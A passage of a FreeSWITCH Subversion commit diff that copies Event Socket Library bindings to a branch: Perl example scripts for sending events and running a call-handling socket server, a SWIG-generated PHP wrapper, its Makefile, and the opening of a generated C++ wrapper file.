+$e->addHeader("to-uri", 'sip:1002@dev.bkw.org');
+$e->addHeader("from-uri", 'sip:1234@dev.bkw.org');
+$e->addHeader("profile", 'external');
+
+$con->sendEvent($e);

Deleted: freeswitch/branches/seven/libs/esl/perl/perlxsi.c

Copied: freeswitch/branches/seven/libs/esl/perl/perlxsi.c (from rev 14471, freeswitch/trunk/libs/esl/perl/perlxsi.c) (0 => 14472)


--- freeswitch/branches/seven/libs/esl/perl/perlxsi.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/esl/perl/perlxsi.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,16 @@
+#include <EXTERN.h>
+#include <perl.h>
+
+EXTERN_C void xs_init (pTHX);
+
+EXTERN_C void boot_DynaLoader (pTHX_ CV* cv);
+
+EXTERN_C void
+xs_init(pTHX)
+{
+	char *file = __FILE__;
+	dXSUB_SYS;
+
+	/* DynaLoader is a special case */
+	newXS("DynaLoader::boot_DynaLoader", boot_DynaLoader, file);
+}

Deleted: freeswitch/branches/seven/libs/esl/perl/send_notify.pl

Copied: freeswitch/branches/seven/libs/esl/perl/send_notify.pl (from rev 14471, freeswitch/trunk/libs/esl/perl/send_notify.pl) (0 => 14472)


--- freeswitch/branches/seven/libs/esl/perl/send_notify.pl	                        (rev 0)
+++ freeswitch/branches/seven/libs/esl/perl/send_notify.pl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,21 @@
+#!/usr/bin/perl
+
+require ESL;
+
+ESL::eslSetLogLevel(7);
+
+my $con = ESL::ESLconnection->new("localhost", "8021", "ClueCon");
+my $e = ESL::ESLevent->new("NOTIFY");
+
+
+$e->addHeader("from-uri", "sip:1000\@dev.bkw.org");
+$e->addHeader("to-uri", "sip:1000\@dev.bkw.org");
+$e->addHeader("event-string", "message-summary");
+$e->addHeader("content-type", "application/simple-message-summary");
+$e->addHeader("profile", "internal");
+
+
+my $body ="Messages-Waiting: yes\nMessage-Account: me\@my.com\nVoice-Message: 0/0 (0/0)\n";
+$e->addBody($body);
+$con->sendEvent($e);
+

Deleted: freeswitch/branches/seven/libs/esl/perl/sendevent.pl

Copied: freeswitch/branches/seven/libs/esl/perl/sendevent.pl (from rev 14471, freeswitch/trunk/libs/esl/perl/sendevent.pl) (0 => 14472)


--- freeswitch/branches/seven/libs/esl/perl/sendevent.pl	                        (rev 0)
+++ freeswitch/branches/seven/libs/esl/perl/sendevent.pl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,22 @@
+#!/usr/bin/perl
+
+require ESL;
+
+my $con = ESL::ESLconnection->new("localhost", "8021", "ClueCon");
+my $e = ESL::ESLevent->new("MESSAGE_WAITING");
+
+#my $e = $con->sendEvent("MESSAGE_WAITING");
+
+$e->addHeader("MWI-Messages-Waiting", "no");
+$e->addHeader("MWI-Message-Account", 'sip:1002@dev.bkw.org');
+$e->addHeader("MWI-Voice-Message", "0/0 (0/0)");
+$con->sendEvent($e);
+
+sleep 3;
+my $ee = ESL::ESLevent->new("MESSAGE_WAITING");
+
+$ee->addHeader("MWI-Messages-Waiting", "yes");
+$ee->addHeader("MWI-Message-Account", 'sip:1002@dev.bkw.org');
+$ee->addHeader("MWI-Voice-Message", "1/1 (1/1)");
+$con->sendEvent($ee);
+

Deleted: freeswitch/branches/seven/libs/esl/perl/server.pl

Copied: freeswitch/branches/seven/libs/esl/perl/server.pl (from rev 14471, freeswitch/trunk/libs/esl/perl/server.pl) (0 => 14472)


--- freeswitch/branches/seven/libs/esl/perl/server.pl	                        (rev 0)
+++ freeswitch/branches/seven/libs/esl/perl/server.pl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,32 @@
+require ESL;
+use IO::Socket::INET;
+
+my $ip = "127.0.0.1";
+my $sock = new IO::Socket::INET ( LocalHost => $ip,  LocalPort => '8040',  Proto => 'tcp',  Listen => 1,  Reuse => 1 );
+die "Could not create socket: $!\n" unless $sock;
+
+for(;;) {
+  my $new_sock = $sock->accept();
+  my $pid = fork();
+  if ($pid) {
+    close($new_sock);
+    next;
+  }
+
+  my $host = $new_sock->sockhost();
+  my $fd = fileno($new_sock);
+  
+  my $con = new ESL::ESLconnection($fd);
+  my $info = $con->getInfo();
+
+  print $info->serialize();
+
+  my $uuid = $info->getHeader("unique-id");
+
+  $con->execute("answer", "", $uuid);
+  $con->execute("playback", "/ram/swimp.raw", $uuid);
+
+  close($new_sock);
+}
+
+

Deleted: freeswitch/branches/seven/libs/esl/perl/server2.pl

Copied: freeswitch/branches/seven/libs/esl/perl/server2.pl (from rev 14471, freeswitch/trunk/libs/esl/perl/server2.pl) (0 => 14472)


--- freeswitch/branches/seven/libs/esl/perl/server2.pl	                        (rev 0)
+++ freeswitch/branches/seven/libs/esl/perl/server2.pl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,62 @@
+require ESL;
+use IO::Socket::INET;
+
+#ESL::eslSetLogLevel(7);
+
+my $ip = "127.0.0.1";
+my $sock = new IO::Socket::INET ( LocalHost => $ip,  LocalPort => '8040',  Proto => 'tcp',  Listen => 1,  Reuse => 1 );
+die "Could not create socket: $!\n" unless $sock;
+
+for(;;) {
+  my $new_sock = $sock->accept();
+  my $pid = fork();
+  if ($pid) {
+    close($new_sock);
+    next;
+  }
+
+  my $host = $new_sock->sockhost();
+  my $fd = fileno($new_sock);
+  
+  my $con = new ESL::ESLconnection($fd);
+  my $info = $con->getInfo();
+
+  #print $info->serialize();
+  my $uuid = $info->getHeader("unique-id");
+
+  printf "Connected call %s, from %s\n", $uuid, $info->getHeader("caller-caller-id-number");
+
+  $e = $con->filter("unique-id", $uuid);
+  if ($e) {
+    print $e->serialize();
+  } else {
+    printf("WTF?\n");
+  }
+    
+  $con->events("plain", "all");
+
+
+  #$con->sendRecv("myevents");
+  $con->execute("answer");
+  $con->execute("playback", "/ram/swimp.raw");
+  
+  while($con->connected()) {
+    #my $e = $con->recvEventTimed(100);
+    my $e = $con->recvEvent();
+    
+    if ($e) {
+      my $name = $e->getHeader("event-name");
+      print "EVENT [$name]\n";
+      if ($name eq "DTMF") {
+	my $digit = $e->getHeader("dtmf-digit");
+	my $duration = $e->getHeader("dtmf-duration");
+	print "DTMF digit $digit ($duration)\n";
+      }
+    }
+  }
+
+  print "BYE\n";
+  close($new_sock);
+}
+
+

Deleted: freeswitch/branches/seven/libs/esl/perl/server3.pl

Copied: freeswitch/branches/seven/libs/esl/perl/server3.pl (from rev 14471, freeswitch/trunk/libs/esl/perl/server3.pl) (0 => 14472)


--- freeswitch/branches/seven/libs/esl/perl/server3.pl	                        (rev 0)
+++ freeswitch/branches/seven/libs/esl/perl/server3.pl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,61 @@
+require ESL;
+use IO::Socket::INET;
+
+#ESL::eslSetLogLevel(7);
+
+my $ip = "127.0.0.1";
+my $sock = new IO::Socket::INET ( LocalHost => $ip,  LocalPort => '8040',  Proto => 'tcp',  Listen => 1,  Reuse => 1 );
+die "Could not create socket: $!\n" unless $sock;
+
+for(;;) {
+  my $new_sock = $sock->accept();
+  my $pid = fork();
+  if ($pid) {
+    close($new_sock);
+    next;
+  }
+
+  my $host = $new_sock->sockhost();
+  my $fd = fileno($new_sock);
+  
+  my $con = new ESL::ESLconnection($fd);
+  my $info = $con->getInfo();
+
+  #print $info->serialize();
+  my $uuid = $info->getHeader("unique-id");
+
+  printf "Connected call %s, from %s\n", $uuid, $info->getHeader("caller-caller-id-number");
+
+  $con->sendRecv("myevents");
+  $con->execute("answer");
+  $con->sendRecv("divert_events on");
+  $con->execute("detect_speech", "pocketsphinx yes_no yes_no");
+  $con->execute("playback", "/ram/swimp.raw");
+  
+  while($con->connected()) {
+    #my $e = $con->recvEventTimed(100);
+    my $e = $con->recvEvent();
+    
+    if ($e) {
+      my $name = $e->getHeader("event-name");
+      print "EVENT [$name]\n";
+      if ($name eq "DETECTED_SPEECH") {
+	print $e->serialize();
+	my $type = $e->getHeader("speech-type");
+	if ($type = "detected-speech") {
+	  $con->execute("detect_speech", "resume");
+	}
+      }
+      if ($name eq "DTMF") {
+	my $digit = $e->getHeader("dtmf-digit");
+	my $duration = $e->getHeader("dtmf-duration");
+	print "DTMF digit $digit ($duration)\n";
+      }
+    }
+  }
+
+  print "BYE\n";
+  close($new_sock);
+}
+
+

Deleted: freeswitch/branches/seven/libs/esl/perl/single_command.pl

Copied: freeswitch/branches/seven/libs/esl/perl/single_command.pl (from rev 14471, freeswitch/trunk/libs/esl/perl/single_command.pl) (0 => 14472)


--- freeswitch/branches/seven/libs/esl/perl/single_command.pl	                        (rev 0)
+++ freeswitch/branches/seven/libs/esl/perl/single_command.pl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,8 @@
+require ESL;
+
+my $command = shift;
+my $args = join(" ", @ARGV);
+
+my $con = new ESL::ESLconnection("localhost", "8021", "ClueCon");
+my $e = $con->api($command, $args);
+print $e->getBody();

Copied: freeswitch/branches/seven/libs/esl/php (from rev 14471, freeswitch/trunk/libs/esl/php)

Deleted: freeswitch/branches/seven/libs/esl/php/ESL.php

Copied: freeswitch/branches/seven/libs/esl/php/ESL.php (from rev 14471, freeswitch/trunk/libs/esl/php/ESL.php) (0 => 14472)


--- freeswitch/branches/seven/libs/esl/php/ESL.php	                        (rev 0)
+++ freeswitch/branches/seven/libs/esl/php/ESL.php	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,212 @@
+<?php
+
+/* ----------------------------------------------------------------------------
+ * This file was automatically generated by SWIG (http://www.swig.org).
+ * Version 1.3.35
+ * 
+ * This file is not intended to be easily readable and contains a number of 
+ * coding conventions designed to improve portability and efficiency. Do not make
+ * changes to this file unless you know what you are doing--modify the SWIG 
+ * interface file instead. 
+ * ----------------------------------------------------------------------------- */
+
+// Try to load our extension if it's not already loaded.
+if (!extension_loaded("ESL")) {
+  if (strtolower(substr(PHP_OS, 0, 3)) === 'win') {
+    if (!dl('php_ESL.dll')) return;
+  } else {
+    // PHP_SHLIB_SUFFIX is available as of PHP 4.3.0, for older PHP assume 'so'.
+    // It gives 'dylib' on MacOS X which is for libraries, modules are 'so'.
+    if (PHP_SHLIB_SUFFIX === 'PHP_SHLIB_SUFFIX' || PHP_SHLIB_SUFFIX === 'dylib') {
+      if (!dl('ESL.so')) return;
+    } else {
+      if (!dl('ESL.'.PHP_SHLIB_SUFFIX)) return;
+    }
+  }
+}
+
+
+
+abstract class ESL {
+	static function eslSetLogLevel($level) {
+		eslSetLogLevel($level);
+	}
+}
+
+/* PHP Proxy Classes */
+class ESLevent {
+	public $_cPtr=null;
+
+	function __set($var,$value) {
+		$func = 'ESLevent_'.$var.'_set';
+		if (function_exists($func)) call_user_func($func,$this->_cPtr,$value);
+	}
+
+	function __isset($var) {
+		return function_exists('ESLevent_'.$var.'_set');
+	}
+
+	function __get($var) {
+		$func = 'ESLevent_'.$var.'_get';
+		if (function_exists($func)) return call_user_func($func,$this->_cPtr);
+		return null;
+	}
+
+	function __construct($type_or_wrap_me_or_me,$subclass_name_or_free_me=null) {
+		switch (func_num_args()) {
+		case 1: $r=new_ESLevent($type_or_wrap_me_or_me); break;
+		default: $r=new_ESLevent($type_or_wrap_me_or_me,$subclass_name_or_free_me);
+		}
+		$this->_cPtr=$r;
+	}
+
+	function serialize($format=null) {
+		switch (func_num_args()) {
+		case 0: $r=ESLevent_serialize($this->_cPtr); break;
+		default: $r=ESLevent_serialize($this->_cPtr,$format);
+		}
+		return $r;
+	}
+
+	function setPriority($priority=null) {
+		switch (func_num_args()) {
+		case 0: $r=ESLevent_setPriority($this->_cPtr); break;
+		default: $r=ESLevent_setPriority($this->_cPtr,$priority);
+		}
+		return $r;
+	}
+
+	function getHeader($header_name) {
+		return ESLevent_getHeader($this->_cPtr,$header_name);
+	}
+
+	function getBody() {
+		return ESLevent_getBody($this->_cPtr);
+	}
+
+	function getType() {
+		return ESLevent_getType($this->_cPtr);
+	}
+
+	function addBody($value) {
+		return ESLevent_addBody($this->_cPtr,$value);
+	}
+
+	function addHeader($header_name,$value) {
+		return ESLevent_addHeader($this->_cPtr,$header_name,$value);
+	}
+
+	function delHeader($header_name) {
+		return ESLevent_delHeader($this->_cPtr,$header_name);
+	}
+
+	function firstHeader() {
+		return ESLevent_firstHeader($this->_cPtr);
+	}
+
+	function nextHeader() {
+		return ESLevent_nextHeader($this->_cPtr);
+	}
+}
+
+class ESLconnection {
+	public $_cPtr=null;
+
+	function __construct($host_or_socket,$port=null,$password=null) {
+		switch (func_num_args()) {
+		case 1: $r=new_ESLconnection($host_or_socket); break;
+		case 2: $r=new_ESLconnection($host_or_socket,$port); break;
+		default: $r=new_ESLconnection($host_or_socket,$port,$password);
+		}
+		$this->_cPtr=$r;
+	}
+
+	function socketDescriptor() {
+		return ESLconnection_socketDescriptor($this->_cPtr);
+	}
+
+	function connected() {
+		return ESLconnection_connected($this->_cPtr);
+	}
+
+	function __construct() {
+		$this->_cPtr=ESLconnection_getInfo($this->_cPtr);
+	}
+
+	function send($cmd) {
+		return ESLconnection_send($this->_cPtr,$cmd);
+	}
+
+	function __construct($cmd) {
+		$this->_cPtr=ESLconnection_sendRecv($this->_cPtr,$cmd);
+	}
+
+	function __construct($cmd,$arg=null) {
+		switch (func_num_args()) {
+		case 1: $r=ESLconnection_api($this->_cPtr,$cmd); break;
+		default: $r=ESLconnection_api($this->_cPtr,$cmd,$arg);
+		}
+		$this->_cPtr=$r;
+	}
+
+	function __construct($cmd,$arg=null) {
+		switch (func_num_args()) {
+		case 1: $r=ESLconnection_bgapi($this->_cPtr,$cmd); break;
+		default: $r=ESLconnection_bgapi($this->_cPtr,$cmd,$arg);
+		}
+		$this->_cPtr=$r;
+	}
+
+	function sendEvent($send_me) {
+		return ESLconnection_sendEvent($this->_cPtr,$send_me);
+	}
+
+	function __construct() {
+		$this->_cPtr=ESLconnection_recvEvent($this->_cPtr);
+	}
+
+	function __construct($ms) {
+		$this->_cPtr=ESLconnection_recvEventTimed($this->_cPtr,$ms);
+	}
+
+	function __construct($header,$value) {
+		$this->_cPtr=ESLconnection_filter($this->_cPtr,$header,$value);
+	}
+
+	function events($etype,$value) {
+		return ESLconnection_events($this->_cPtr,$etype,$value);
+	}
+
+	function execute($app,$arg=null,$uuid=null) {
+		switch (func_num_args()) {
+		case 1: $r=ESLconnection_execute($this->_cPtr,$app); break;
+		case 2: $r=ESLconnection_execute($this->_cPtr,$app,$arg); break;
+		default: $r=ESLconnection_execute($this->_cPtr,$app,$arg,$uuid);
+		}
+		return $r;
+	}
+
+	function executeAsync($app,$arg=null,$uuid=null) {
+		switch (func_num_args()) {
+		case 1: $r=ESLconnection_executeAsync($this->_cPtr,$app); break;
+		case 2: $r=ESLconnection_executeAsync($this->_cPtr,$app,$arg); break;
+		default: $r=ESLconnection_executeAsync($this->_cPtr,$app,$arg,$uuid);
+		}
+		return $r;
+	}
+
+	function setAsyncExecute($val) {
+		return ESLconnection_setAsyncExecute($this->_cPtr,$val);
+	}
+
+	function setEventLock($val) {
+		return ESLconnection_setEventLock($this->_cPtr,$val);
+	}
+
+	function disconnect() {
+		return ESLconnection_disconnect($this->_cPtr);
+	}
+}
+
+
+?>

Deleted: freeswitch/branches/seven/libs/esl/php/Makefile

Copied: freeswitch/branches/seven/libs/esl/php/Makefile (from rev 14471, freeswitch/trunk/libs/esl/php/Makefile) (0 => 14472)


--- freeswitch/branches/seven/libs/esl/php/Makefile	                        (rev 0)
+++ freeswitch/branches/seven/libs/esl/php/Makefile	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,28 @@
+LOCAL_CFLAGS=$(shell php-config --includes)
+PHP_LDFLAGS=$(shell php-config --ldflags)
+PHP_LIBS=$(shell php-config --libs | sed -r 's/ ?-l(bz2|pcre|xml2|gssapi_krb5|krb5|k5crypto|com_err|history|z|readline|gmp|ssl|crypto)//g')
+LOCAL_LDFLAGS=$(PHP_LDFLAGS) $(PHP_LIBS)
+WRAP_GCC_WARNING_SILENCE=-Wno-unused-label -Wno-unused-function
+
+all: ESL.so
+
+esl_wrap.cpp:
+	swig -module ESL -php5 -c++ -DMULTIPLICITY -I../src/include -o esl_wrap.cpp ../ESL.i
+
+esl_wrap.o: esl_wrap.cpp
+	$(CXX) $(CXX_CFLAGS) $(CXXFLAGS) $(LOCAL_CFLAGS) $(WRAP_GCC_WARNING_SILENCE) -c esl_wrap.cpp -o esl_wrap.o
+
+ESL.so: esl_wrap.o
+	$(CXX) $(SOLINK) esl_wrap.o $(MYLIB) $(LOCAL_LDFLAGS) -o ESL.so -L. $(LIBS)
+
+clean:
+	rm -f *.o *.so *~
+
+swigclean:
+	rm -f esl_wrap.* ESL.so php_ESL.* ESL.php
+
+reswig:	swigclean esl_wrap.cpp
+
+install: ESL.so
+	cp ESL.so $(shell php-config --extension-dir)
+	cp ESL.php $(shell php -r 'phpinfo();' | grep include_path | cut -d: -f2)

Deleted: freeswitch/branches/seven/libs/esl/php/esl_wrap.cpp

Copied: freeswitch/branches/seven/libs/esl/php/esl_wrap.cpp (from rev 14471, freeswitch/trunk/libs/esl/php/esl_wrap.cpp) (0 => 14472)


--- freeswitch/branches/seven/libs/esl/php/esl_wrap.cpp	                        (rev 0)
+++ freeswitch/branches/seven/libs/esl/php/esl_wrap.cpp	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,2823 @@
+/* ----------------------------------------------------------------------------
+ * This file was automatically generated by SWIG (http://www.swig.org).
+ * Version 1.3.35
+ * 
+ * This file is not intended to be easily readable and contains a number of 
+ * coding conventions designed to improve portability and efficiency. Do not make
+ * changes to this file unless you know what you are doing--modify the SWIG 
+ * interface file instead. 
+ * ----------------------------------------------------------------------------- */
+
+
+#ifdef __cplusplus
+template<typename T> class SwigValueWrapper {
+    T *tt;
+public:
+    SwigValueWrapper() : tt(0) { }
+    SwigValueWrapper(const SwigValueWrapper<T>& rhs) : tt(new T(*rhs.tt)) { }
+    SwigValueWrapper(const T& t) : tt(new T(t)) { }
+    ~SwigValueWrapper() { delete tt; } 
+    SwigValueWrapper& operator=(const T& t) { delete tt; tt = new T(t); return *this; }
+    operator T&() const { return *tt; }
+    T *operator&() { return tt; }
+private:
+    SwigValueWrapper& operator=(const SwigValueWrapper<T>& rhs);
+};
+
+template <typename T> T SwigValueInit() {
+  return T();
+}
+#endif
+
+/* -----------------------------------------------------------------------------
+ *  This section contains generic SWIG labels for method/variable
+ *  declarations/attributes, and other compiler dependent labels.
+ * ----------------------------------------------------------------------------- */
+
+/* template workaround for compilers that cannot correctly implement the C++ standard */
+#ifndef SWIGTEMPLATEDISAMBIGUATOR
+# if defined(__SUNPRO_CC) && (__SUNPRO_CC <= 0x560)
+#  define SWIGTEMPLATEDISAMBIGUATOR template
+# elif defined(__HP_aCC)
+/* Needed even with `aCC -AA' when `aCC -V' reports HP ANSI C++ B3910B A.03.55 */
+/* If we find a maximum version that requires this, the test would be __HP_aCC <= 35500 for A.03.55 */
+#  define SWIGTEMPLATEDISAMBIGUATOR template
+# else
+#  define SWIGTEMPLATEDISAMBIGUATOR
+# endif
+#endif
+
+/* inline attribute */
+#ifndef SWIGINLINE
+# if defined(__cplusplus) || (defined(__GNUC__) && !defined(__STRICT_ANSI__))
+#   define SWIGINLINE inline
+# else
+#   define SWIGINLINE
+# endif
+#endif
+
+/* attribute recognised by some compilers to avoid 'unused' warnings */
+#ifndef SWIGUNUSED
+# if defined(__GNUC__)
+#   if !(defined(__cplusplus)) || (__GNUC__ > 3 || (__GNUC__ == 3 && __GNUC_MINOR__ >= 4))
+#     define SWIGUNUSED __attribute__ ((__unused__)) 
+#   else
+#     define SWIGUNUSED
+#   endif
+# elif defined(__ICC)
+#   define SWIGUNUSED __attribute__ ((__unused__)) 
+# else
+#   define SWIGUNUSED 
+# endif
+#endif
+
+#ifndef SWIGUNUSEDPARM
+# ifdef __cplusplus
+#   define SWIGUNUSEDPARM(p)
+# else
+#   define SWIGUNUSEDPARM(p) p SWIGUNUSED 
+# endif
+#endif
+
+/* internal SWIG method */
+#ifndef SWIGINTERN
+# define SWIGINTERN static SWIGUNUSED
+#endif
+
+/* internal inline SWIG method */
+#ifndef SWIGINTERNINLINE
+# define SWIGINTERNINLINE SWIGINTERN SWIGINLINE
+#endif
+
+/* exporting methods */
+#if (__GNUC__ >= 4) || (__GNUC__ == 3 && __GNUC_MINOR__ >= 4)
+#  ifndef GCC_HASCLASSVISIBILITY
+#    define GCC_HASCLASSVISIBILITY
+#  endif
+#endif
+
+#ifndef SWIGEXPORT
+# if defined(_WIN32) || defined(__WIN32__) || defined(__CYGWIN__)
+#   if defined(STATIC_LINKED)
+#     define SWIGEXPORT
+#   else
+#     define SWIGEXPORT __declspec(dllexport)
+#   endif
+# else
+#   if defined(__GNUC__) && defined(GCC_HASCLASSVISIBILITY)
+#     define SWIGEXPORT __attribute__ ((visibility("default")))
+#   else
+#     define SWIGEXPORT
+#   endif
+# endif
+#endif
+
+/* calling conventions for Windows */
+#ifndef SWIGSTDCALL
+# if defined(_WIN32) || defined(__WIN32__) || defined(__CYGWIN__)
+#   define SWIGSTDCALL __stdcall
+# else
+#   define SWIGSTDCALL
+# endif 
+#endif
+
+/* Deal with Microsoft's attempt at deprecating C standard runtime functions */
+#if !defined(SWIG_NO_CRT_SECURE_NO_DEPRECATE) && defined(_MSC_VER) && !defined(_CRT_SECURE_NO_DEPRECATE)
+# define _CRT_SECURE_NO_DEPRECATE
+#endif
+
+/* Deal with Microsoft's attempt at deprecating methods in the standard C++ library */
+#if !defined(SWIG_NO_SCL_SECURE_NO_DEPRECATE) && defined(_MSC_VER) && !defined(_SCL_SECURE_NO_DEPRECATE)
+# define _SCL_SECURE_NO_DEPRECATE
+#endif
+
+
+/* -----------------------------------------------------------------------------
+ * swigrun.swg
+ *
+ * This file contains generic CAPI SWIG runtime support for pointer
+ * type checking.
+ * ----------------------------------------------------------------------------- */
+
+/* This should only be incremented when either the layout of swig_type_info changes,
+   or for whatever reason, the runtime changes incompatibly */
+#define SWIG_RUNTIME_VERSION "4"
+
+/* define SWIG_TYPE_TABLE_NAME as "SWIG_TYPE_TABLE" */
+#ifdef SWIG_TYPE_TABLE
+# define SWIG_QUOTE_STRING(x) #x
+# define SWIG_EXPAND_AND_QUOTE_STRING(x) SWIG_QUOTE_STRING(x)
+# define SWIG_TYPE_TABLE_NAME SWIG_EXPAND_AND_QUOTE_STRING(SWIG_TYPE_TABLE)
+#else
+# define SWIG_TYPE_TABLE_NAME
+#endif
+
+/*
+  You can use the SWIGRUNTIME and SWIGRUNTIMEINLINE macros for
+  creating a static or dynamic library from the swig runtime code.
+  In 99.9% of the cases, swig just needs to declare them as 'static'.
+  
+  But only do this if is strictly necessary, ie, if you have problems
+  with your compiler or so.
+*/
+
+#ifndef SWIGRUNTIME
+# define SWIGRUNTIME SWIGINTERN
+#endif
+
+#ifndef SWIGRUNTIMEINLINE
+# define SWIGRUNTIMEINLINE SWIGRUNTIME SWIGINLINE
+#endif
+
+/*  Generic buffer size */
+#ifndef SWIG_BUFFER_SIZE
+# define SWIG_BUFFER_SIZE 1024
+#endif
+
+/* Flags for pointer conversions */
+#define SWIG_POINTER_DISOWN        0x1
+#define SWIG_CAST_NEW_MEMORY       0x2
+
+/* Flags for new pointer objects */
+#define SWIG_POINTER_OWN           0x1
+
+
+/* 
+   Flags/methods for returning states.
+   
+   The swig conversion methods, as ConvertPtr, return and integer 
+   that tells if the conversion was successful or not. And if not,
+   an error code can be returned (see swigerrors.swg for the codes).
+   
+   Use the following macros/flags to set or process the returning
+   states.
+   
+   In old swig versions, you usually write code as:
+
+     if (SWIG_ConvertPtr(obj,vptr,ty.flags) != -1) {
+       // success code
+     } else {
+       //fail code
+     }
+
+   Now you can be more explicit as:
+
+    int res = SWIG_ConvertPtr(obj,vptr,ty.flags);
+    if (SWIG_IsOK(res)) {
+      // success code
+    } else {
+      // fail code
+    }
+
+   that seems to be the same, but now you can also do
+
+    Type *ptr;
+    int res = SWIG_ConvertPtr(obj,(void **)(&ptr),ty.flags);
+    if (SWIG_IsOK(res)) {
+      // success code
+      if (SWIG_IsNewObj(res) {
+        ...
+	delete *ptr;
+      } else {
+        ...
+      }
+    } else {
+      // fail code
+    }
+    
+   I.e., now SWIG_ConvertPtr can return new objects and you can
+   identify the case and take care of the deallocation. Of course that
+   requires also to SWIG_ConvertPtr to return new result values, as
+
+      int SWIG_ConvertPtr(obj, ptr,...) {         
+        if (<obj is ok>) {			       
+          if (<need new object>) {		       
+            *ptr = <ptr to new allocated object>; 
+            return SWIG_NEWOBJ;		       
+          } else {				       
+            *ptr = <ptr to old object>;	       
+            return SWIG_OLDOBJ;		       
+          } 				       
+        } else {				       
+          return SWIG_BADOBJ;		       
+        }					       
+      }
+
+   Of course, returning the plain '0(success)/-1(fail)' still works, but you can be
+   more explicit by returning SWIG_BADOBJ, SWIG_ERROR or any of the
+   swig errors code.
+
+   Finally, if the SWIG_CASTRANK_MODE is enabled, the result code
+   allows to return the 'cast rank', for example, if you have this
+
+       int food(double)
+       int fooi(int);
+
+   and you call
+ 
+      food(1)   // cast rank '1'  (1 -> 1.0)
+      fooi(1)   // cast rank '0'
+
+   just use the SWIG_AddCast()/SWIG_CheckState()
+
+
+ */
+#define SWIG_OK                    (0) 
+#define SWIG_ERROR                 (-1)
+#define SWIG_IsOK(r)               (r >= 0)
+#define SWIG_ArgError(r)           ((r != SWIG_ERROR) ? r : SWIG_TypeError)  
+
+/* The CastRankLimit says how many bits are used for the cast rank */
+#define SWIG_CASTRANKLIMIT         (1 << 8)
+/* The NewMask denotes the object was created (using new/malloc) */
+#define SWIG_NEWOBJMASK            (SWIG_CASTRANKLIMIT  << 1)
+/* The TmpMask is for in/out typemaps that use temporal objects */
+#define SWIG_TMPOBJMASK            (SWIG_NEWOBJMASK << 1)
+/* Simple returning values */
+#define SWIG_BADOBJ                (SWIG_ERROR)
+#define SWIG_OLDOBJ                (SWIG_OK)
+#define SWIG_NEWOBJ                (SWIG_OK | SWIG_NEWOBJMASK)
+#define SWIG_TMPOBJ                (SWIG_OK | SWIG_TMPOBJMASK)
+/* Check, add and del mask methods */
+#define SWIG_AddNewMask(r)         (SWIG_IsOK(r) ? (r | SWIG_NEWOBJMASK) : r)
+#define SWIG_DelNewMask(r)         (SWIG_IsOK(r) ? (r & ~SWIG_NEWOBJMASK) : r)
+#define SWIG_IsNewObj(r)           (SWIG_IsOK(r) && (r & SWIG_NEWOBJMASK))
+#define SWIG_AddTmpMask(r)         (SWIG_IsOK(r) ? (r | SWIG_TMPOBJMASK) : r)
+#define SWIG_DelTmpMask(r)         (SWIG_IsOK(r) ? (r & ~SWIG_TMPOBJMASK) : r)
+#define SWIG_IsTmpObj(r)           (SWIG_IsOK(r) && (r & SWIG_TMPOBJMASK))
+
+
+/* Cast-Rank Mode */
+#if defined(SWIG_CASTRANK_MODE)
+#  ifndef SWIG_TypeRank
+#    define SWIG_TypeRank             unsigned long
+#  endif
+#  ifndef SWIG_MAXCASTRANK            /* Default cast allowed */
+#    define SWIG_MAXCASTRANK          (2)
+#  endif
+#  define SWIG_CASTRANKMASK          ((SWIG_CASTRANKLIMIT) -1)
+#  define SWIG_CastRank(r)           (r & SWIG_CASTRANKMASK)
+SWIGINTERNINLINE int SWIG_AddCast(int r) { 
+  return SWIG_IsOK(r) ? ((SWIG_CastRank(r) < SWIG_MAXCASTRANK) ? (r + 1) : SWIG_ERROR) : r;
+}
+SWIGINTERNINLINE int SWIG_CheckState(int r) { 
+  return SWIG_IsOK(r) ? SWIG_CastRank(r) + 1 : 0; 
+}
+#else /* no cast-rank mode */
+#  define SWIG_AddCast
+#  define SWIG_CheckState(r) (SWIG_IsOK(r) ? 1 : 0)
+#endif
+
+
+
+
+#include <string.h>
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+typedef void *(*swig_converter_func)(void *, int *);
+typedef struct swig_type_info *(*swig_dycast_func)(void **);
+
+/* Structure to store information on one type */
+typedef struct swig_type_info {
+  const char             *name;			/* mangled name of this type */
+  const char             *str;			/* human readable name of this type */
+  swig_dycast_func        dcast;		/* dynamic cast function down a hierarchy */
+  struct swig_cast_info  *cast;			/* linked list of types that can cast into this type */
+  void                   *clientdata;		/* language specific type data */
+  int                    owndata;		/* flag if the structure owns the clientdata */
+} swig_type_info;
+
+/* Structure to store a type and conversion function used for casting */
+typedef struct swig_cast_info {
+  swig_type_info         *type;			/* pointer to type that is equivalent to this type */
+  swig_converter_func     converter;		/* function to cast the void pointers */
+  struct swig_cast_info  *next;			/* pointer to next cast in linked list */
+  struct swig_cast_info  *prev;			/* pointer to the previous cast */
+} swig_cast_info;
+
+/* Structure used to store module information
+ * Each module generates one structure like this, and the runtime collects
+ * all of these structures and stores them in a circularly linked list.*/
+typedef struct swig_module_info {
+  swig_type_info         **types;		/* Array of pointers to swig_type_info structures that are in this module */
+  size_t                 size;		        /* Number of types in this module */
+  struct swig_module_info *next;		/* Pointer to next element in circularly linked list */
+  swig_type_info         **type_initial;	/* Array of initially generated type structures */
+  swig_cast_info         **cast_initial;	/* Array of initially generated casting structures */
+  void                    *clientdata;		/* Language specific module data */
+} swig_module_info;
+
+/* 
+  Compare two type names skipping the space characters, therefore
+  "char*" == "char *" and "Class<int>" == "Class<int >", etc.
+
+  Return 0 when the two name types are equivalent, as in
+  strncmp, but skipping ' '.
+*/
+SWIGRUNTIME int
+SWIG_TypeNameComp(const char *f1, const char *l1,
+		  const char *f2, const char *l2) {
+  for (;(f1 != l1) && (f2 != l2); ++f1, ++f2) {
+    while ((*f1 == ' ') && (f1 != l1)) ++f1;
+    while ((*f2 == ' ') && (f2 != l2)) ++f2;
